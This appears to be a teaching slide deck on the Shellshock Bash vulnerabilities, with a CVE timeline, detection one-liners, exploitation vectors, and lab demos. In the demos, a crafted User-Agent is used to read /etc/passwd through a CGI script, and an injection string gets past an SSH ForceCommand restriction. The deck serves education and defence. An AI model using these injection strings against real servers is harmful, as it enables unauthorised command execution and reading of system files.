

NetworkSecurity

Shellshock

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Overview

- Introduction
 - Unix Bash command shell
 - Environment Variables
 - Prerequisites
- Shellshock Bugs
 - Live Demo 1
- Exploitation Vectors
- Exploitability
- Live Demo 2 -- CGI & Live Demo 3 -- SSH

Introduction

- *Shellshock: Remote **Bash** Code Injection Vulnerability via Specially Crafted **Environment Variables***
- family of bugs
- **unauthorized access** to the server
- existed 25 years (1989 - 2014)

Unix Bash command shell

- widely-used in many Unix-like Systems (June 7, 1989)
Linux / *BSD /  OS X / (Cygwin)
- used by a variety internet-facing services
- operates both as a command interpreter and as a **command**
 - possible to **execute Bash within itself**
 - **environment variables** are exported to new instance
 - environment variables are executed (**unverified**) on instance startup

Environment Variables

- key/value pairs
- **function definitions** encoded into environment variables:
 - values begin with **()**
 - followed by a function definition **{something;;}**
 - e.g. **foo=`() {something;;}**

Prerequisites

- control the content of an **environment variable**
- send it through a **bash** shell
- bash shell is **vulnerable to Shellshock**

Shellshock Bugs

- family of bugs:

pub. date	CVE identifier	Patch Version
24 th sep	CVE-2014-6271 (Bashdoor)	bash43-025
24 th sep	CVE-2014-7169	bash43-026
26 th sep	CVE-2014-7187	
28 th sep	CVE-2014-7186	bash43-027
1 st okt	CVE-2014-6277 & CVE-2014-6278	

CVE-2014-6271 (Bashdoor)

- also called **Bashdoor**
- discovered by Stéphane Chazelas
- 12th September 2014 — bash maintainer informed
- 24th September 2014 — publicly disclosed

CVE-2014-6271 (Bashdoor)

```
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
```

- function definition as environment variable x
- arbitrary command
- invoke sub-bash — executes the environment variables before executing the command
- does not detect the full Shellshock vulnerability

Live Demo 1

Debian 3.16.7 (Jessie)

bash v4.3.30(1)
SAFE

Debian 3.16.7 (Jessie)

bash v4.1.5(1)
VULNERABLE

Result

```
VULNERABLE> env x='() { :;;}; echo vulnerable' bash -c "echo test"  
vulnerable  
test
```

```
SAFE> env x='() { :;;}; echo vulnerable' bash -c "echo test"  
test  
—
```

CVE-2014-7169

- by Tavis Ormandy
- 24th September 2014 — publicly disclosed
- still vulnerable when CVE-2014-6271 patched

CVE-2014-7169

```
env X='() { (a)=>\' bash -c "echo date"; cat echo
```

- CVE-2014-6271 has been prevented
- file named 'echo' written to filesystem
 - includes result of 'date'
- patch for CVE-2014-6271 and CVE-2014-7169

Result

```
VULNERABLE> env X='() { (a)=>\' bash -c "echo date"; cat echo  
env X='() { (a)=>\' bash -c "echo date"; cat echo  
bash: X: Zeile 1: Syntaxfehler beim unerwarteten Wort `='  
bash: X: Zeile 1: `  
bash: Fehler beim Importieren der Funktionsdefinition für `X'.  
So 7. Jun 13:34:52 CEST 2015
```

```
SAFE> env X='() { (a)=>\' bash -c "echo date"; cat echo  
date  
cat: echo: Datei oder Verzeichnis nicht gefunden
```

CVE-2014-6277 & CVE-2014-6278

- by Michal Zalewski
- 1st October 2014 — publicly disclosed
- addresses parsing of function definitions in environment variables
- circumvented the first patch

CVE-2014-6277 & CVE-2014-6278

```
env foo='() { echo not patched; }' bash -c foo
```

- improved vulnerability check
- determines if bash automatically parses function imports at all

Result

```
VULNERABLE> foo='()' { echo not patched; }' bash -c foo  
not patched
```

```
SAFE> foo='()' { echo not patched; }' bash -c foo  
bash: foo: Kommando nicht gefunden.
```

CVE-2014-7186

```
bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF  
<<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF'  
|| echo "CVE-2014-7186 vulnerable, redir_stack"
```

- by Florian Weimer and Todd Sabin
- out-of-bounds memory access error in Bash parser code

Result

```
VULNERABLE> bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF  
<<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186  
vulnerable, redir_stack"
```

Speicherzugriffsfehler

CVE-2014-7186 vulnerable, redir_stack

```
SAFE> bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF  
<<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' ||  
> echo "CVE-2014-7186 vulnerable, redir_stack"  
bash: Warnung: Das in der Zeile 0 beginnende Here-Dokument geht bis  
zum Dateiende (erwartet wird `EOF').
```

CVE-2014-7187

```
(for x in {1..200} ;  
do echo "for x$x in ; do :";  
done;  
for x in {1..200} ;  
do echo done ;  
done)
```

```
l bash l l echo "CVE-2014-7187 vulnerable, word_lineno"
```

- by Florian Weimer and Todd Sabin
- Off-by-one error
- DOS

Exploitation Vectors

- **Common Gateway Interface** (CGI)-based web server
 - request header
HTTP_USER_AGENT
 - cookie
 - referrer
- **OpenSSH** server's ForceCommand
SSH_ORIGINAL_COMMAND

Exploitation Vectors

- **DHCP clients**
 - crafted string passed in options by server
 - any environment variable can be set
 - typically with **root privileges on client**
- **IBM HMC restricted shell**
 - through restricted shell of the IBM Hardware Management Console (HMC)


Exploitation Vectors

- **Qmail server**
 - process email messages with Bash
(.forward or qmail-alias piping)
- **daemons and other applications**
 - bash as interpreter
 - using somehow environment variables

Exploitability

- botnets
 - DDoS
(e.g. „wopbot“ -> Akamai Technologies)
 - vulnerability scanning
(e.g. „wopbot“ -> United States Department of Defense)
- malware
 - load scripts (e.g. with wget)
- reverse shell

Live Demo 2




CGI Script

```
1 #!/bin/bash
2 # location: /var/www/cgi-bin/shellshock.cgi
3 echo "Content-type: text/plain"
4 echo
5 echo
6 echo "Hi"
```

- location: /var/www/cgi-bin/shellshock.cgi
- URI: http://hostname/cgi-bin/shellshock.cgi

Call CGI Script



Set Malicious User Agent

Edit User Agent

Description:

User Agent:

App Code Name:

App Name:


App Version:

Platform:

Vendor:

Vendor Sub:

Result



A screenshot of a web browser window. The address bar shows the URL `http://192.168.178.31/cgi-bin/shellshock.cgi`. The browser's bookmark bar contains three items: `Meistbesucht`, `Getting Started`, and `http://192.168.178.3...`. The main content area displays the output of the shellshock CGI script, which lists system users and their associated shell paths. The output is as follows:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
```

Live Demo 3



Server Configuration

```
VULNERABLE> cat ~/.ssh/authorized_keys  
command="echo \"$(date)\" " ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQBAQC1  
0K2uGMQzbXaSx/E1/HLq4QHD9oevgFZlnV0s90MGxHZIpFIzkyVnKk8ZRTJwvB6h0A0  
pgmhbWUhwa8u3WVK3+YbZpoJaNoIMcyRcZNpki/qezqu39D1jfDmKe8BThabQHt0J5i  
N2jd3Rn7YqTVroszfsTS85cD5J1ApdNJ2GDMYWmaBheELUKLlsspRBC0rEeLXQwx3rJ  
SRyoXkWc203BUeJ+LG1DCczVHaQfBB0YMtKqsXdjzWuKQV7Rfh8qMMrpuNtL5GkM/OG  
uBoWHya60Jwjcw3fP1zj+St29K0viKLj96CSwdr18TSVq+6Cy3Mktu7kFCLA9MMvD/q
```

- public key added to ~/.ssh/authorized_keys
- restricted to **only** view the date with ForceCommand

Result

- restricted usage:

```
SAFE> ssh root@192.168.178.31 echo vulnerable  
So 7. Jun 16:57:22 CEST 2015
```


- with Shellshock:

```
SAFE> ssh root@192.168.178.31 '() { :;; }; echo vulnerable'  
vulnerable  
So 7. Jun 16:57:11 CEST 2015
```


Conclusion

- 6 bugs at all
- 3 patches
- quick response time
- bug was understood wrong in the beginning
 - real problem: parsing function imports

**THANK YOU FOR
YOUR ATTENTION**



Y U NO ASK QUESTIONS ?

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Sources

- <http://www.dwheeler.com/essays/shellshock.html>
- <https://access.redhat.com/articles/1200223>
- <https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/>
- https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29
- <https://www.linode.com/docs/security/security-patches/patching-bash-for-the-shellshock-vulnerability>
- <https://blog.cloudflare.com/inside-shellshock/>